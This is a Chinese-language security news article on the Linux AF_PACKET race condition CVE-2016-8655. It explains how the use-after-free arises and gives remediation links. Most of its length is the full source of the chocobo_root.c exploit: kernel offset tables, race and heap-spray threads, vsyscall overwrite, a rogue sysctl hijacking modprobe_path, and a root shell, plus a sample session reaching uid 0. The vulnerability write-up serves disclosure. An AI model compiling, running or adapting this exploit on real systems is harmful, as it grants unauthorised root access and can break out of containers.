Seclists.org最新披露了Linux的竞争条件漏洞,漏洞编号为CVE-2016-8655。此漏洞可用于从低权限进程中执行内核代码。
漏洞编号
CVE-2016-8655
漏洞概述
Philip Pettersson在Linux (net/packet/af_packet.c)发现条件竞争漏洞,此漏洞可用于从未授权进程中执行内核代码。攻击者只需要本地低权限,就能利用该漏洞致拒绝服务(系统崩溃)或者以管理员权限执行任意代码
packet_set_ring在创建ring buffer的时候,如果packet版本为TPACKET_V3,则会初始化struct timer_list。在packet_set_ring完成之前,其他线程可调用setsockopt将packet版本设定为TPACKET_V1。此时先前初始化的timer不会被删除,也就形成了套接字关闭时struct timer_list中函数指针的user after free漏洞。
这个BUG最早出现于2011年4月19号的代码中,详细参考:
https://github.com/torvalds/linux/commit/f6fb8f100b807378fda19e83e5ac6828b638603a
该BUG已经于2016年11月30号被修复,详细参考:
漏洞细节
要创建AF-PACKET套接字,在网络命名空间中就需要CAP_NET_RAW。在低权限命名空间可用的系统中(Ubuntu、Fedora等),这可以通过未授权进程获取。这个漏洞在容器中即可触发,最终攻陷主机内核。在Android系统中,带gid=3004/AID_NET_RAW的进程可创建AF_PACKET套接字,并触发该BUG。
问题主要出在packet_set_ring()和packet_setsockopt()中。使用PACKET_RX_RING选项在socket中调用setsockopt(),就能搞定packet_set_ring()。
如果packet套接字版本为TPCKET_V3,调用init_prb_bdqc()的时候,packet_set_ring()就会对timer_list对象进行初始化。
1 <p>...</p><p> switch (po->tp_version) {</p><p> case TPACKET_V3:</p><p> /* Transmit path is not supported. We checked</p><p> * it above but just being paranoid</p><p> */</p><p> if (!tx_ring)</p><p> init_prb_bdqc(po, rb, pg_vec, req_u);</p><p> break;</p><p> default:</p><p> break;</p><p> }</p><p>...</p>
创建timer的函数流为:
1 <p>packet_set_ring()->init_prb_bdqc()->prb_setup_retire_blk_timer()-></p><p>prb_init_blk_timer()->prb_init_blk_timer()->init_timer()</p>
该套接字关闭时,packet_set_ring()会再度被调用,来释放ring buffer,并删除先前初始化的timer(当packet版本大于TPACKET_V2时):
1 <p>...</p><p> if (closing && (po->tp_version > TPACKET_V2)) {</p><p> /* Because we don't support block-based V3 on tx-ring */</p><p> if (!tx_ring)</p><p> prb_shutdown_retire_blk_timer(po, rb_queue);</p><p> }</p><p>...</p>
此处的问题就出在,在init_prb_bdqc()执行之后,packet_set_ring()返回之前,我们可以将packet版本改为TPACKET_V1。
不过ring buffer被初始化之后,会存在拒绝修改套接字版本的情况,但这也根本不是什么问题:
1 <p>...</p><p> case PACKET_VERSION:</p><p> {</p><p>...</p><p> if (po->rx_ring.pg_vec || po->tx_ring.pg_vec)</p><p> return -EBUSY;</p><p>...</p>
在init_prb_bdqc()和packet_set_ring()的交换(rb->pg_vec, pg_vec)调用之间,还是有足够的空间来搞定这条代码路径。
此时,套接字关闭时,由于套接字版本已经为TPACKET_V1,packet_set_ring()就不会删除timer。描绘timer对象的struct timer_list位于struct packet_sock中,调用kfree()就会释放。
随后timer对象之上就形成了use after free漏洞,可被各种针对SLAB分配器的攻击利用。最终timer过期后,就可导致内核跳转至构建的函数指针。
在packet_setsockopt()中用lock_sock(sk),同时在packet_set_ring()起始就锁定packet版本即可解决问题。
新版Ubuntu内核已经放出,用户升级至新版Ubuntu即可解决问题。
漏洞PoC
按照发现该漏洞的作者Philip Pettersson所说,漏洞PoC会在明天放出…
PoC地址:https://www.exploit-db.com/exploits/40871/
1 /* chocobo_root.c linux AF_PACKET race condition exploit exploit for Ubuntu 16.04 x86_64 vroom vroom *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*= user@ubuntu:~$ uname -a Linux ubuntu 4.4.0-51-generic #72-Ubuntu SMP Thu Nov 24 18:29:54 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux user@ubuntu:~$ id uid=1000(user) gid=1000(user) groups=1000(user) user@ubuntu:~$ gcc chocobo_root.c -o chocobo_root -lpthread user@ubuntu:~$ ./chocobo_root linux AF_PACKET race condition exploit by rebel kernel version: 4.4.0-51-generic #72 proc_dostring = 0xffffffff81088090 modprobe_path = 0xffffffff81e48f80 register_sysctl_table = 0xffffffff812879a0 set_memory_rw = 0xffffffff8106f320 exploit starting making vsyscall page writable.. new exploit attempt starting, jumping to 0xffffffff8106f320, arg=0xffffffffff600000 sockets allocated removing barrier and spraying.. version switcher stopping, x = -1 (y = 174222, last val = 2) current packet version = 0 pbd->hdr.bh1.offset_to_first_pkt = 48 *=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=* please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that. closing socket and verifying....... vsyscall page altered! stage 1 completed registering new sysctl.. new exploit attempt starting, jumping to 0xffffffff812879a0, arg=0xffffffffff600850 sockets allocated removing barrier and spraying.. version switcher stopping, x = -1 (y = 30773, last val = 0) current packet version = 2 pbd->hdr.bh1.offset_to_first_pkt = 48 race not won retrying stage.. new exploit attempt starting, jumping to 0xffffffff812879a0, arg=0xffffffffff600850 sockets allocated removing barrier and spraying.. version switcher stopping, x = -1 (y = 133577, last val = 2) current packet version = 0 pbd->hdr.bh1.offset_to_first_pkt = 48 *=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=* please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that. closing socket and verifying....... sysctl added! stage 2 completed binary executed by kernel, launching rootshell root@ubuntu:~# id uid=0(root) gid=0(root) groups=0(root),1000(user) *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*= There are offsets included for older kernels, but they're untested so be aware that this exploit will probably crash kernels older than 4.4. tested on: Ubuntu 16.04: 4.4.0-51-generic Ubuntu 16.04: 4.4.0-47-generic Ubuntu 16.04: 4.4.0-36-generic Ubuntu 14.04: 4.4.0-47-generic #68~14.04.1-Ubuntu Shoutouts to: jsc for inspiration (https://www.youtube.com/watch?v=x4UDIfcYMKI) mcdelivery for delivering hotcakes and coffee 11/2016 by rebel */ #define _GNU_SOURCE #include <stdlib.h> #include <stdio.h> #include <string.h> #include <stdint.h> #include <unistd.h> #include <sys/wait.h> #include <assert.h> #include <errno.h> #include <fcntl.h> #include <poll.h> #include <sys/types.h> #include <sys/socket.h> #include <arpa/inet.h> #include <netinet/if_ether.h> #include <sys/mman.h> #include <sys/socket.h> #include <sys/stat.h> #include <linux/if_packet.h> #include <pthread.h> #include <linux/sched.h> #include <netinet/tcp.h> #include <sys/syscall.h> #include <signal.h> #include <sched.h> #include <sys/utsname.h> volatile int barrier = 1; volatile int vers_switcher_done = 0; struct offset { char *kernel_version; unsigned long proc_dostring; unsigned long modprobe_path; unsigned long register_sysctl_table; unsigned long set_memory_rw; }; struct offset *off = NULL; //99% of these offsets haven't actually been tested <img data-original="http://image.3001.net/images/index/smilies/icon_smile.gif" src="http://www.freebuf.com/buf/themes/freebuf/images/grey.gif" alt=':)' class='wp-smiley' /> <noscript><img src='http://image.3001.net/images/index/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /></noscript> struct offset offsets[] = { {"4.4.0-46-generic #67~14.04.1",0xffffffff810842f0,0xffffffff81e4b100,0xffffffff81274580,0xffffffff8106b880}, {"4.4.0-47-generic #68~14.04.1",0,0,0,0}, {"4.2.0-41-generic #48",0xffffffff81083470,0xffffffff81e48920,0xffffffff812775c0,0xffffffff8106c680}, {"4.8.0-22-generic #24",0xffffffff8108ab70,0xffffffff81e47880,0xffffffff812b34b0,0xffffffff8106f0d0}, {"4.2.0-34-generic #39",0xffffffff81082080,0xffffffff81c487e0,0xffffffff81274490,0xffffffff8106b5d0}, {"4.2.0-30-generic #36",0xffffffff810820d0,0xffffffff81c487e0,0xffffffff812744e0,0xffffffff8106b620}, {"4.2.0-16-generic #19",0xffffffff81081ac0,0xffffffff81c48680,0xffffffff812738f0,0xffffffff8106b110}, {"4.2.0-17-generic #21",0,0,0,0}, {"4.2.0-18-generic #22",0,0,0,0}, {"4.2.0-19-generic #23~14.04.1",0xffffffff8107d640,0xffffffff81c497c0,0xffffffff8125de30,0xffffffff81067750}, {"4.2.0-21-generic #25~14.04.1",0,0,0,0}, {"4.2.0-30-generic #36~14.04.1",0xffffffff8107da40,0xffffffff81c4a8e0,0xffffffff8125dd40,0xffffffff81067b20}, {"4.2.0-27-generic #32~14.04.1",0xffffffff8107dbe0,0xffffffff81c498c0,0xffffffff8125e420,0xffffffff81067c60}, {"4.2.0-36-generic #42",0xffffffff81083430,0xffffffff81e488e0,0xffffffff81277380,0xffffffff8106c680}, {"4.4.0-22-generic #40",0xffffffff81087d40,0xffffffff81e48f00,0xffffffff812864d0,0xffffffff8106f370}, {"4.2.0-18-generic #22~14.04.1",0xffffffff8107d620,0xffffffff81c49780,0xffffffff8125dd10,0xffffffff81067760}, {"4.4.0-34-generic #53",0xffffffff81087ea0,0xffffffff81e48f80,0xffffffff81286ed0,0xffffffff8106f370}, {"4.2.0-22-generic #27",0xffffffff81081ad0,0xffffffff81c486c0,0xffffffff81273b20,0xffffffff8106b100}, {"4.2.0-23-generic #28",0,0,0,0}, {"4.2.0-25-generic #30",0,0,0,0}, {"4.4.0-36-generic #55",0xffffffff81087ea0,0xffffffff81e48f80,0xffffffff81286e50,0xffffffff8106f360}, {"4.2.0-42-generic #49",0xffffffff81083490,0xffffffff81e489a0,0xffffffff81277870,0xffffffff8106c680}, {"4.4.0-31-generic #50",0xffffffff81087ea0,0xffffffff81e48f80,0xffffffff81286e90,0xffffffff8106f370}, {"4.4.0-22-generic #40~14.04.1",0xffffffff81084250,0xffffffff81c4b080,0xffffffff81273de0,0xffffffff8106b9d0}, {"4.2.0-38-generic #45",0xffffffff810833d0,0xffffffff81e488e0,0xffffffff81277410,0xffffffff8106c680}, {"4.4.0-45-generic #66",0xffffffff81087fc0,0xffffffff81e48f80,0xffffffff812874c0,0xffffffff8106f320}, {"4.2.0-36-generic #42~14.04.1",0xffffffff8107ffd0,0xffffffff81c499e0,0xffffffff81261ea0,0xffffffff81069d00}, {"4.4.0-45-generic #66~14.04.1",0xffffffff81084260,0xffffffff81e4b100,0xffffffff81274340,0xffffffff8106b880}, {"4.2.0-22-generic #27~14.04.1",0xffffffff8107d640,0xffffffff81c497c0,0xffffffff8125deb0,0xffffffff81067750}, {"4.2.0-25-generic #30~14.04.1",0,0,0,0}, {"4.2.0-23-generic #28~14.04.1",0,0,0,0}, {"4.4.0-46-generic #67",0xffffffff81088040,0xffffffff81e48f80,0xffffffff81287800,0xffffffff8106f320}, {"4.4.0-47-generic #68",0,0,0,0}, {"4.4.0-34-generic #53~14.04.1",0xffffffff81084160,0xffffffff81c4b100,0xffffffff81273c40,0xffffffff8106b880}, {"4.4.0-36-generic #55~14.04.1",0xffffffff81084160,0xffffffff81c4b100,0xffffffff81273c60,0xffffffff8106b890}, {"4.4.0-31-generic #50~14.04.1",0xffffffff81084160,0xffffffff81c4b100,0xffffffff81273c20,0xffffffff8106b880}, {"4.2.0-38-generic #45~14.04.1",0xffffffff8107fdc0,0xffffffff81c4a9e0,0xffffffff81261540,0xffffffff81069bf0}, {"4.2.0-35-generic #40",0xffffffff81083430,0xffffffff81e48860,0xffffffff81277240,0xffffffff8106c680}, {"4.4.0-24-generic #43~14.04.1",0xffffffff81084120,0xffffffff81c4b080,0xffffffff812736f0,0xffffffff8106b880}, {"4.4.0-21-generic #37",0xffffffff81087cf0,0xffffffff81e48e80,0xffffffff81286310,0xffffffff8106f370}, {"4.2.0-34-generic #39~14.04.1",0xffffffff8107dc50,0xffffffff81c498e0,0xffffffff8125e830,0xffffffff81067c90}, {"4.4.0-24-generic #43",0xffffffff81087e60,0xffffffff81e48f00,0xffffffff812868f0,0xffffffff8106f370}, {"4.4.0-21-generic #37~14.04.1",0xffffffff81084220,0xffffffff81c4b000,0xffffffff81273a30,0xffffffff8106b9d0}, {"4.2.0-41-generic #48~14.04.1",0xffffffff8107fe20,0xffffffff81c4aa20,0xffffffff812616c0,0xffffffff81069bf0}, {"4.8.0-27-generic #29",0xffffffff8108ab70,0xffffffff81e47880,0xffffffff812b3490,0xffffffff8106f0d0}, {"4.8.0-26-generic #28",0,0,0,0}, {"4.4.0-38-generic #57",0xffffffff81087f70,0xffffffff81e48f80,0xffffffff81287470,0xffffffff8106f360}, {"4.4.0-42-generic #62~14.04.1",0xffffffff81084260,0xffffffff81e4b100,0xffffffff81274300,0xffffffff8106b880}, {"4.4.0-38-generic #57~14.04.1",0xffffffff81084210,0xffffffff81e4b100,0xffffffff812742e0,0xffffffff8106b890}, {"4.4.0-49-generic #70",0xffffffff81088090,0xffffffff81e48f80,0xffffffff81287d40,0xffffffff8106f320}, {"4.4.0-49-generic #70~14.04.1",0xffffffff81084350,0xffffffff81e4b100,0xffffffff81274b10,0xffffffff8106b880}, {"4.2.0-21-generic #25",0xffffffff81081ad0,0xffffffff81c486c0,0xffffffff81273aa0,0xffffffff8106b100}, {"4.2.0-19-generic #23",0,0,0,0}, {"4.2.0-42-generic #49~14.04.1",0xffffffff8107fe20,0xffffffff81c4aaa0,0xffffffff81261980,0xffffffff81069bf0}, {"4.4.0-43-generic #63",0xffffffff81087fc0,0xffffffff81e48f80,0xffffffff812874b0,0xffffffff8106f320}, {"4.4.0-28-generic #47",0xffffffff81087ea0,0xffffffff81e48f80,0xffffffff81286df0,0xffffffff8106f370}, {"4.4.0-28-generic #47~14.04.1",0xffffffff81084160,0xffffffff81c4b100,0xffffffff81273b70,0xffffffff8106b880}, {"4.9.0-1-generic #2",0xffffffff8108bbe0,0xffffffff81e4ac20,0xffffffff812b8400,0xffffffff8106f390}, {"4.8.0-28-generic #30",0xffffffff8108ae10,0xffffffff81e48b80,0xffffffff812b3690,0xffffffff8106f0e0}, {"4.2.0-35-generic #40~14.04.1",0xffffffff8107fff0,0xffffffff81c49960,0xffffffff81262320,0xffffffff81069d20}, {"4.2.0-27-generic #32",0xffffffff810820c0,0xffffffff81c487c0,0xffffffff81274150,0xffffffff8106b620}, {"4.4.0-42-generic #62",0xffffffff81087fc0,0xffffffff81e48f80,0xffffffff812874a0,0xffffffff8106f320}, {"4.4.0-51-generic #72",0xffffffff81088090,0xffffffff81e48f80,0xffffffff812879a0,0xffffffff8106f320}, //{"4.8.6-300.fc25.x86_64 #1 SMP Tue Nov 1 12:36:38 UTC 2016",0xffffffff9f0a8b30,0xffffffff9fe40940,0xffffffff9f2cfbf0,0xffffffff9f0663b0}, {NULL,0,0,0,0} }; #define VSYSCALL 0xffffffffff600000 #define PAD 64 int pad_fds[PAD]; struct ctl_table { const char *procname; void *data; int maxlen; unsigned short mode; struct ctl_table *child; void *proc_handler; void *poll; void *extra1; void *extra2; }; #define CONF_RING_FRAMES 1 struct tpacket_req3 tp; int sfd; int mapped = 0; struct timer_list { void *next; void *prev; unsigned long expires; void (*function)(unsigned long); unsigned long data; unsigned int flags; int slack; }; void *setsockopt_thread(void *arg) { while(barrier) { } setsockopt(sfd, SOL_PACKET, PACKET_RX_RING, (void*) &tp, sizeof(tp)); return NULL; } void *vers_switcher(void *arg) { int val,x,y; while(barrier) {} while(1) { val = TPACKET_V1; x = setsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val)); y++; if(x != 0) break; val = TPACKET_V3; x = setsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val)); if(x != 0) break; y++; } fprintf(stderr,"version switcher stopping, x = %d (y = %d, last val = %d)/n",x,y,val); vers_switcher_done = 1; return NULL; } #define BUFSIZE 1408 char exploitbuf[BUFSIZE]; void kmalloc(void) { while(1) syscall(__NR_add_key, "user","wtf",exploitbuf,BUFSIZE-24,-2); } void pad_kmalloc(void) { int x; for(x=0; x<PAD; x++) if(socket(AF_PACKET,SOCK_DGRAM,htons(ETH_P_ARP)) == -1) { fprintf(stderr,"pad_kmalloc() socket error/n"); exit(1); } } int try_exploit(unsigned long func, unsigned long arg, void *verification_func) { pthread_t setsockopt_thread_thread,a; int val; socklen_t l; struct timer_list *timer; int fd; struct tpacket_block_desc *pbd; int off; sigset_t set; sigemptyset(&set); sigaddset(&set, SIGSEGV); if(pthread_sigmask(SIG_BLOCK, &set, NULL) != 0) { fprintf(stderr,"couldn't set sigmask/n"); exit(1); } fprintf(stderr,"new exploit attempt starting, jumping to %p, arg=%p/n",(void *)func,(void *)arg); pad_kmalloc(); fd=socket(AF_PACKET,SOCK_DGRAM,htons(ETH_P_ARP)); if (fd==-1) { printf("target socket error/n"); exit(1); } pad_kmalloc(); fprintf(stderr,"sockets allocated/n"); val = TPACKET_V3; setsockopt(fd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val)); tp.tp_block_size = CONF_RING_FRAMES * getpagesize(); tp.tp_block_nr = 1; tp.tp_frame_size = getpagesize(); tp.tp_frame_nr = CONF_RING_FRAMES; //try to set the timeout to 10 seconds //the default timeout might still be used though depending on when the race was won tp.tp_retire_blk_tov = 10000; sfd = fd; if(pthread_create(&setsockopt_thread_thread, NULL, setsockopt_thread, (void *)NULL)) { fprintf(stderr, "Error creating thread/n"); return 1; } pthread_create(&a, NULL, vers_switcher, (void *)NULL); usleep(200000); fprintf(stderr,"removing barrier and spraying../n"); memset(exploitbuf,'/x00',BUFSIZE); timer = (struct timer_list *)(exploitbuf+(0x6c*8)+6-8); timer->next = 0; timer->prev = 0; timer->expires = 4294943360; timer->function = (void *)func; timer->data = arg; timer->flags = 1; timer->slack = -1; barrier = 0; usleep(100000); while(!vers_switcher_done)usleep(100000); l = sizeof(val); getsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, &l); fprintf(stderr,"current packet version = %d/n",val); pbd = mmap(0, tp.tp_block_size * tp.tp_block_nr, PROT_READ | PROT_WRITE, MAP_SHARED, sfd, 0); if(pbd == MAP_FAILED) { fprintf(stderr,"could not map pbd/n"); exit(1); } else { off = pbd->hdr.bh1.offset_to_first_pkt; fprintf(stderr,"pbd->hdr.bh1.offset_to_first_pkt = %d/n",off); } if(val == TPACKET_V1 && off != 0) { fprintf(stderr,"*=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=*/n"); } else { fprintf(stderr,"race not won/n"); exit(2); } munmap(pbd, tp.tp_block_size * tp.tp_block_nr); pthread_create(&a, NULL, verification_func, (void *)NULL); fprintf(stderr,"please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that./n"); sleep(1); fprintf(stderr,"closing socket and verifying.."); close(sfd); kmalloc(); fprintf(stderr,"all messages sent/n"); sleep(31337); exit(1); } int verification_result = 0; void catch_sigsegv(int sig) { verification_result = 0; pthread_exit((void *)1); } void *modify_vsyscall(void *arg) { unsigned long *vsyscall = (unsigned long *)(VSYSCALL+0x850); unsigned long x = (unsigned long)arg; sigset_t set; sigemptyset(&set); sigaddset(&set, SIGSEGV); if(pthread_sigmask(SIG_UNBLOCK, &set, NULL) != 0) { fprintf(stderr,"couldn't set sigmask/n"); exit(1); } signal(SIGSEGV, catch_sigsegv); *vsyscall = 0xdeadbeef+x; if(*vsyscall == 0xdeadbeef+x) { fprintf(stderr,"/nvsyscall page altered!/n"); verification_result = 1; pthread_exit(0); } return NULL; } void verify_stage1(void) { int x; pthread_t v_thread; sleep(5); for(x=0; x<300; x++) { pthread_create(&v_thread, NULL, modify_vsyscall, 0); pthread_join(v_thread, NULL); if(verification_result == 1) { exit(0); } write(2,".",1); sleep(1); } printf("could not modify vsyscall/n"); exit(1); } void verify_stage2(void) { int x; struct stat b; sleep(5); for(x=0; x<300; x++) { if(stat("/proc/sys/hack",&b) == 0) { fprintf(stderr,"/nsysctl added!/n"); exit(0); } write(2,".",1); sleep(1); } printf("could not add sysctl/n"); exit(1); } void exploit(unsigned long func, unsigned long arg, void *verification_func) { int status; int pid; retry: pid = fork(); if(pid == 0) { try_exploit(func, arg, verification_func); exit(1); } wait(&status); printf("/n"); if(WEXITSTATUS(status) == 2) { printf("retrying stage../n"); kill(pid, 9); sleep(2); goto retry; } else if(WEXITSTATUS(status) != 0) { printf("something bad happened, aborting exploit attempt/n"); exit(-1); } kill(pid, 9); } void wrapper(void) { struct ctl_table *c; fprintf(stderr,"exploit starting/n"); printf("making vsyscall page writable../n/n"); exploit(off->set_memory_rw, VSYSCALL, verify_stage1); printf("/nstage 1 completed/n"); sleep(5); printf("registering new sysctl../n/n"); c = (struct ctl_table *)(VSYSCALL+0x850); memset((char *)(VSYSCALL+0x850), '/x00', 1952); strcpy((char *)(VSYSCALL+0xf00),"hack"); memcpy((char *)(VSYSCALL+0xe00),"/x01/x00/x00/x00",4); c->procname = (char *)(VSYSCALL+0xf00); c->mode = 0666; c->proc_handler = (void *)(off->proc_dostring); c->data = (void *)(off->modprobe_path); c->maxlen=256; c->extra1 = (void *)(VSYSCALL+0xe00); c->extra2 = (void *)(VSYSCALL+0xd00); exploit(off->register_sysctl_table, VSYSCALL+0x850, verify_stage2); printf("stage 2 completed/n"); } void launch_rootshell(void) { int fd; char buf[256]; struct stat s; fd = open("/proc/sys/hack",O_WRONLY); if(fd == -1) { fprintf(stderr,"could not open /proc/sys/hack/n"); exit(-1); } memset(buf,'/x00', 256); readlink("/proc/self/exe",(char *)&buf,256); write(fd,buf,strlen(buf)+1); socket(AF_INET,SOCK_STREAM,132); if(stat(buf,&s) == 0 && s.st_uid == 0) { printf("binary executed by kernel, launching rootshell/n"); lseek(fd, 0, SEEK_SET); write(fd,"/sbin/modprobe",15); close(fd); execl(buf,buf,NULL); } else printf("could not create rootshell/n"); } int main(int argc, char **argv) { int status, pid; struct utsname u; int i, crash = 0; char buf[512], *f; if(argc == 2 && !strcmp(argv[1],"crash")) { crash = 1; } if(getuid() == 0 && geteuid() == 0 && !crash) { chown("/proc/self/exe",0,0); chmod("/proc/self/exe",06755); exit(-1); } else if(getuid() != 0 && geteuid() == 0 && !crash) { setresuid(0,0,0); setresgid(0,0,0); execl("/bin/bash","bash","-p",NULL); exit(0); } fprintf(stderr,"linux AF_PACKET race condition exploit by rebel/n"); uname(&u); if((f = strstr(u.version,"-Ubuntu")) != NULL) *f = '/0'; snprintf(buf,512,"%s %s",u.release,u.version); printf("kernel version: %s/n",buf); for(i=0; offsets[i].kernel_version != NULL; i++) { if(!strcmp(offsets[i].kernel_version,buf)) { while(offsets[i].proc_dostring == 0) i--; off = &offsets[i]; break; } } if(crash) { off = &offsets[0]; off->set_memory_rw = 0xffffffff41414141; } if(off) { printf("proc_dostring = %p/n",(void *)off->proc_dostring); printf("modprobe_path = %p/n",(void *)off->modprobe_path); printf("register_sysctl_table = %p/n",(void *)off->register_sysctl_table); printf("set_memory_rw = %p/n",(void *)off->set_memory_rw); } if(!off) { fprintf(stderr,"i have no offsets for this kernel version../n"); exit(-1); } pid = fork(); if(pid == 0) { if(unshare(CLONE_NEWUSER) != 0) fprintf(stderr, "failed to create new user namespace/n"); if(unshare(CLONE_NEWNET) != 0) fprintf(stderr, "failed to create new network namespace/n"); wrapper(); exit(0); } waitpid(pid, &status, 0); launch_rootshell(); return 0; }<br />
修复方法
如上所述,各Linux发行版需要升级至最新版Linux内核。针对Ubuntu 16.04 LTS的安全更新已经发布。另外这篇文章讲解了在不重启服务器的情况下,就对Ubuntu Linux内核打上补丁的方案。
相关链接
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-8655
https://github.com/torvalds/linux/commit/f6fb8f100b807378fda19e83e5ac6828b638603a
https://www.ubuntu.com/usn/usn-3151-1/
* 参考来源:Seclists.org,转载请注明来自FreeBuf.COM